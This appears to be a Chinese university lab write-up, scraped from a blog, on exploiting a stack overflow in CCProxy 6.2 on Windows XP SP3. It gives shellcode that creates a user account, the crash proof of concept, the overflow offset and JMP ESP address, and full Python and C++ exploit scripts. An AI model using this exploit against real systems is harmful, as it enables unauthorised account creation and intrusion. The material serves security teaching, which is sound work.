文章目录

  • 实验内容
  • 实验环境
  • 实验过程
    • 获取payload
    • 漏洞验证(POC,Proof of Concept)
    • 寻找溢出点
    • 漏洞利用(EXP,Exploit)
  • 参考文献

实验内容

CCProxy是一款代理服务器软件,通过主机机向代理端发送命令,然后代理端向网络发送命令并且将结果返回给主机。
    CCProxy 6.2(演示版)处理代理端发送的命令时存在栈溢出漏洞
    已知目标主机Microsoft Windows XP SP3)运行着CCProxy 6.2(演示版),且Microsoft Windows XP SP3内存0x7FFA4512处有一条JMP ESP指令,要求以"JMP ESP"为攻击跳板利用该栈溢出漏洞,攻击目标主机,在目标主机上创建一个用户(用户名为a)。

实验环境

  • 目标主机:192.168.182.135

  • 攻击主机:192.168.182.1

实验过程

获取payload

本次实验payload的目标是在目标主机上创建一个用户。在本机创建用户的命令是system(“net user username /add”)。这个命令需要在目标主机上调用system这个函数,而在windows中system这个函数在包含在msvcrt.dll这个动态链接库中的,经过查看可以发现CCPROXY软件中会加载msvcrt.dll这个动态链接库。
    使用如下C语言代码可以执行system(“net user a /add”)命令:

#include <windows.h>
#include <winbase.h>
void main()
{LoadLibrary("msvcrt.dll");__asm {push ebp ; //保存ebp,esp-4mov ebp,esp ; //给ebp赋新值,将作为局部变量的基指针xor edi,edi ;push edi ; //压入0,esp-4; //作用是构造字符串的结尾\0字符 sub esp,0chmov byte ptr [ebp-10h],6eh;nmov byte ptr [ebp-0fh],65h;emov byte ptr [ebp-0eh],74h;tmov byte ptr [ebp-0dh],20h;空格mov byte ptr [ebp-0ch],75h;umov byte ptr [ebp-0bh],73h;smov byte ptr [ebp-0ah],65h;emov byte ptr [ebp-09h],72h;rmov byte ptr [ebp-08h],20h;空格mov byte ptr [ebp-07h],61h;amov byte ptr [ebp-06h],20h;空格mov byte ptr [ebp-05h],2fh;/mov byte ptr [ebp-04h],61h;amov byte ptr [ebp-03h],64h;dmov byte ptr [ebp-02h],64h;dlea eax,[ebp-10h] ;push eax ;串地址作为参数入栈mov eax, 0x77bf93c7;call eax ;调用system}
}

在Visual C++6.0中的调试状态下查看机器代码,获取payload:

    获取到的payload如下:

\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x0C\xC6\x45\xF0\x6E\xC6\x45\xF1\x65\xC6\x45\xF2\x74\xC6\x45\xF3\x20\xC6\x45\xF4\x75\xC6\x45\xF5\x73\xC6\x45\xF6\x65\xC6\x45\xF7\x72\xC6\x45\xF8\x20\xC6\x45\xF9\x61\xC6\x45\xFA\x20\xC6\x45\xFB\x2F\xC6\x45\xFC\x61\xC6\x45\xFD\x64\xC6\x45\xFE\x64\x8D\x45\xF0\x50\xB8\xC7\x93\xBF\x77\xFF\xD0

漏洞验证(POC,Proof of Concept)

在攻击主机上使用telnet服务登录到目标主机:

telnet 192.168.182.135

使用以下命令简单测试CCProxy程序:

ping aaaaa


    使用python生成超长的输入pingaa⋅⋅⋅aaping \space aa···aaping aa⋅⋅⋅aa(2000个a):

print('ping '+'a'*2000)

使用该输入测试CCProxy程序的栈溢出漏洞:


    观察到目标主机的CCProxy程序崩溃

寻找溢出点

使用二分法找到程序准确的溢出点。
    在输入pingaa⋅⋅⋅aaping \space aa···aaping aa⋅⋅⋅aa(1009个a)时,CCProxy程序恰好不崩溃

    CCProxy程序在输入指令pingaa⋅⋅⋅aaping \space aa···aaping aa⋅⋅⋅aa(小于等于1009个a)后,输出错误提示信息Host not found:aa···aa,程序正常运行,等待下一条指令。但是,程序崩溃时并未输出相关提示信息。所以,我们猜测溢出点在输出错误提示信息的函数附近
    在目标主机上使用OllyDbg,运行CCProxy 6.2(演示版)。以Host not found为关键字符串搜索使用了该字符串的指令,在该处下内存访问和硬件执行断点



    此后,在OllyDbg中运行CCProxy程序。使用攻击机与目标主机连接,输入正常长度和超长的字符串进行测试。
    在OllyDbg中观察到,CCProxy程序执行了如下指令:

······
call CCProxy.00440057
······
pop edi
pop esi
pop ebp
pop ebx
add esp,0x430
retn 0xC

retn 0xC指令可以理解为三个指令:
POP EIP
JMP EIP
SUB ESP,0x0C
    输入正常长度的字符串时,CCProxy程序执行完retn 0xC后正常执行;然而,输入超长长度的字符串时,CCProxy程序执行完retn 0xC后崩溃(进入SEH(结构化异常处理)程序)。
    CCProxy程序在输入指令pingaa⋅⋅⋅aaping \space aa···aaping aa⋅⋅⋅aa(1009个a)后,运行到retn 0xC时的栈帧如下:

0x0A:换行符
0x0D:回车符
0x00:结束符


    CCProxy程序在输入指令pingaa⋅⋅⋅aaping \space aa···aaping aa⋅⋅⋅aa(1010个a)后,运行到retn 0xC时的栈帧如下(0x00覆盖了返回地址0x0042 6B45):

    所以准确的溢出点应该在pingaa⋅⋅⋅aaping \space aa···aaping aa⋅⋅⋅aa(1012个a)之后。
    理论上,恶意输入的格式应该为pingaa⋅⋅⋅aaping \space aa···aaping aa⋅⋅⋅aa(1012个a)+"JMP ESP"的地址(0x7FFA4512,需要考虑小端存储)+aa⋅⋅⋅aaaa···aaaa⋅⋅⋅aa(12个a)+payload。

在0x7FFA4512后面加上12个a占位的原因是:retn 0xC将esp加上了12,此时再执行JMP ESP,就会跳到0x7FFA4512后面12个字符再开始执行;如果此处直接放了payload,payload前面12个字节会被忽略。

漏洞利用(EXP,Exploit)

尝试按照上述格式构造exploit,执行后发现0x7FFA4512后面的payload被a······a覆盖了。

    在OllyDbg中单步执行,并对照汇编指令,发现call CCProxy.00440057指令使得0x7FFA4512覆盖了栈中为retn 0xC准备的返回地址。

那么,我们将payload放在0x7FFA4512前面,并且将a替换成’0x90’(nop,滑板指令),使得控制流滑动到payload。
    使用python编写exploit:

# exploit.py
import socket
import syshost = '192.168.182.135'payload = b'\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x0C\xC6\x45\xF0\x6E\xC6\x45\xF1\x65\xC6\x45\xF2\x74\xC6\x45\xF3\x20\xC6\x45\xF4\x75\xC6\x45\xF5\x73\xC6\x45\xF6\x65\xC6\x45\xF7\x72\xC6\x45\xF8\x20\xC6\x45\xF9\x61\xC6\x45\xFA\x20\xC6\x45\xFB\x2F\xC6\x45\xFC\x61\xC6\x45\xFD\x64\xC6\x45\xFE\x64\x8D\x45\xF0\x50\xB8\xC7\x93\xBF\x77\xFF\xD0'
address = b'\x12\x45\xFA\x7F'  # winXP "JMP ESP" 地址,小端存储message = b'ping ' + b'\x90' * 11 + payload + b'\x90' * (1012 - 11 - len(payload)) + address + b'\x90' * 100 + b'\n'try:socketConnection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)socketConnection.connect((host, 23))  # 建立连接reply = socketConnection.recv(1024)  # 接收数据print(reply)socketConnection.sendall(message)socketConnection.close()  # 关闭连接print('Exploit Successfully!')
except socket.error:print('Exploit Failed!')sys.exit()  # 退出

或者使用C++编写exploit:

#include <stdio.h>
#include <stdlib.h>
#include <WinSock2.h>
#pragma comment(lib, "ws2_32.lib")#define MAX_LEN 2048int main()
{WSADATA ws;WSAStartup(MAKEWORD(2, 2), &ws);struct sockaddr_in sa;sa.sin_family = AF_INET;sa.sin_port = htons(23);sa.sin_addr.s_addr = inet_addr("192.168.182.135");char payload[] = "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x0C\xC6\x45\xF0\x6E\xC6\x45\xF1\x65\xC6\x45\xF2\x74\xC6\x45\xF3\x20\xC6\x45\xF4\x75\xC6\x45\xF5\x73\xC6\x45\xF6\x65\xC6\x45\xF7\x72\xC6\x45\xF8\x20\xC6\x45\xF9\x61\xC6\x45\xFA\x20\xC6\x45\xFB\x2F\xC6\x45\xFC\x61\xC6\x45\xFD\x64\xC6\x45\xFE\x64\x8D\x45\xF0\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";int payloadLength = strlen(payload);char sendBuffer[MAX_LEN] = "ping ";char receiveBuffer[MAX_LEN] = {0};memset(sendBuffer + 5, 0x90, sizeof(sendBuffer) - 5);//填入shellcodefor (int i = 0; i < payloadLength; ++i){sendBuffer[i + 5 + 11] = payload[i];}//在溢出点处填入 jump esp 指令的地址strncpy(sendBuffer + 1012 + 5, "\x12\x45\xFA\x7F", 4);sendBuffer[MAX_LEN - 2] = '\r';sendBuffer[MAX_LEN - 1] = '\n';SOCKET sc = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); // 创建 socketconnect(sc, (const sockaddr *)&sa, sizeof(sa));                       //连接recv(sc, receiveBuffer, MAX_LEN, 0); //接收信息printf("%s\n", receiveBuffer);send(sc, sendBuffer, MAX_LEN, 0); // 发送攻击数据closesocket(sc);WSACleanup();return 0;
}

观察到攻击成功

参考文献

[1] 彭国军,傅建明,梁玉.软件安全.武汉大学出版社

软件安全实验——栈溢出漏洞利用相关推荐

  1. 一个栈溢出漏洞利用的病毒分析

    样本概况 样本基本信息 利用VirusTotal扫描 漏洞分析 POC分析 分析shellcode 小结 恶意代码分析 样本概况 样本基本信息 病毒名称:doc_sample MD5值:52E3DDB ...

  2. android4 设置栈大小,【技术分享】Android内核漏洞利用技术实战:环境搭建栈溢出实战...

    [技术分享]Android内核漏洞利用技术实战:环境搭建&栈溢出实战 2017-08-14 16:22:02 阅读:0次 预估稿费:300RMB 投稿方式:发送邮件至linwei#360.cn ...

  3. Vivotek 摄像头远程栈溢出漏洞分析及利用

    近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃. 漏洞作者@bashis 放出了可造成摄像头 Crash 的 PoC :https://www. ...

  4. 二进制漏洞利用原理--栈溢出

    1. 进程的内存空间 但是不管什么样的操作系统.什么样的计算机架构,进程使用的内存都可以按照功能大致分成以下4个部分. (1)代码区:这个区域存储着被装入执行的二进制机器代码,处理器会到这个区域取指并 ...

  5. 动手实验 CVE-2010-3333 Microsoft RTF栈溢出漏洞

    文章目录 一.漏洞信息 漏洞描述 分析环境 简单利用过程 二.漏洞分析 RTF文件格式 基于栈回溯的漏洞分析方法 三.漏洞利用 方法1:将返回地址覆盖为jmp esp 方法2:覆盖SEH结构体 通用s ...

  6. 动手实验 CVE-2010-2883 Adobe Reader TTF字体SING表栈溢出漏洞

    文章目录 1.漏洞环境 2.定位漏洞 3.动态调试 4.分析msf生成脚本 4.1make_ttf 4.2 make_js 5.实现自己的shellcode绕过DEP 5.1 利用ZwSetInfor ...

  7. Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用

    Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用 测试环境及工具: windbg IDA winxp sp3 这算是正式调试分析的第一个漏洞,也是跟着一位学长的博客做一 ...

  8. 软件安全实验——pre12(UAF漏洞预习)

    目录标题 1.名词解释:double free,UAF (Use After Free),RELRO(Relocation Read Only),Dangling pointer,Control Fl ...

  9. Automatic Exploit Generation:漏洞利用自动化

    漏洞利用是二进制安全的核心内容之一.当安全研究员挖掘到一个新的漏洞时,首先要做的事情就是尝试写POC和exploit.所谓POC,一般来说就是一个能够让程序崩溃的输入,且能够证明控制寄存器或者其他违反 ...

  10. php修改特定位bit的值,解读天书 - 漏洞利用中级技巧的分析

    题记: 距离上次更新感觉已经过了很久很久的时间,什么事情多时间少都是借口,自己变的懒了倒是真的,给大家道歉,以后更新会加快的,今天不讲漏洞分析,跟我来讨论下漏洞利用中的一些原理上的分析.本篇文章遵循思 ...

最新文章

  1. C/C++协程库libco:微信怎样漂亮地完成异步化改造
  2. Android利用Jsoup解析html 开发网站客户端小记。
  3. x265-common.h
  4. 数据结构---关键路径
  5. no判断 python yes_Python 内置类型全解析(1)
  6. Navicat怎样导入Excel表格数据
  7. 嵌入html_音视频格式转换神器与html视频元素加字幕——零基础自学网页制作
  8. java jlist组件_Java中Jlist的Swing组件
  9. 新路由3 高恪魔改固件+底包
  10. icem网格数和节点数_icem如何查看网格数量
  11. win7 计算机刷新dns,刷新dns,教您怎么刷新DNS
  12. PathMeasure打造万能路径动效
  13. 今日财富杂志今日财富杂志社今日财富编辑部2022年第11期目录
  14. 720实训——智慧消防案例分析
  15. echarts 使用 百度地图 加入自定义图标标记
  16. 腾讯成立“XR”部门押注元宇宙;iPhone14全系售价上涨;新东方5 万高薪聘请双语主播 |聚观早报
  17. 数据库增量同步/ETL工具
  18. 谈一谈|在win10家庭版上用虚拟机安装docker
  19. 常用的 Druid 参数
  20. linux 内核源码下载

热门文章

  1. android移植大作游戏,这款steam移植的1GB大作,或许是今年最有氛围的悬疑游戏
  2. 使用Layered分层窗口实现视频会议中的桌面区域共享
  3. 项目#npm install #cnpm install #yarn安装包报错
  4. WireGuard 的使用与配置详解
  5. html ul 的类别,CSS 类表样式(ul)
  6. matlab get(gcf,'postion ')相关解释
  7. 【算法:leetcode】双指针:142. 环形链表 II 633. 平方数之和
  8. 解决wps缺少字体的问题
  9. java 美元符号_使用单个美元符号“$”作为java类名称的任何风险?
  10. ftp服务器文件只读,ftp服务器只读